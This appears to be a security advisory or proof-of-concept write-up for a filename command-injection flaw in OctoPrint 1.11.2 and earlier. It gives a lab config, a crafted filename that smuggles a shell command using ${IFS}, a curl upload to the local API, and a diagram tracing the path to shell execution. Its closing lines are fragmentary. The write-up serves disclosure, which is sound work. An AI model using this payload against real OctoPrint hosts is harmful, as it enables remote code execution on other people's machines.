
In OctoPrint version <=1.11.2, an attacker with file upload access (e.g., valid API key or session) can craft a malicious filename that bypasses sanitization and is later executed by OctoPrint’s event system, leading to remote code execution (RCE) on the host
In OctoPrint version <=1.11.2, an attacker with file upload access (e.g., valid API key or session) can craft a malicious filename that bypasses sanitization and is later executed by OctoPrint’s event system, leading to remote code execution (RCE) on the host
Downloaded latest stable release: OctoPrint 1.11.2
octoprint serve --port 5000 --debug
Stop the OctoPrint service once above steps are done.
Following OctoPrint events documentation:
Edit ~/.octoprint/config.yaml:
events:
enabled: true
subscriptions:
- event: FileAdded
type: system
debug: true
command: "{path}"

Create /tmp/gcode/ok.gcode:
; minimal gcode
G28
M105
Restart OctoPrint service.
export API_KEY='<key previously gathered from webUI>'
ls -la /tmp/test123
INJECT_NAME='octo;touch${IFS}/tmp/test123;#.gcode'Explanation: ${IFS} is the shell’s Internal Field Separator (usually a space). It bypasses sanitization when injected.
curl -sS -X POST -H "X-Api-Key: $API_KEY" \
-F "file=@/tmp/gcode/ok.gcode;filename=\"${INJECT_NAME}\"" \
"http://127.0.0.1:5000/api/files/local"
ls -la /tmp/test123

If /tmp/test123 exists, the injected command executed successfully → RCE confirmed.
[User upload with crafted filename]
│
▼
server/api/files.py → accepts raw filename (metacharacters survive sanitize_name)
│
▼
events.py (EventManager.fire "FileAdded") → payload {path} includes raw chars
│
▼
system command subscriber → subprocess.check_call(..., shell=True)
│
▼
[Injected shell metacharacters execute as OS commands]
When a file is uploaded:
;, ${IFS}, etc.) is passed into a shell.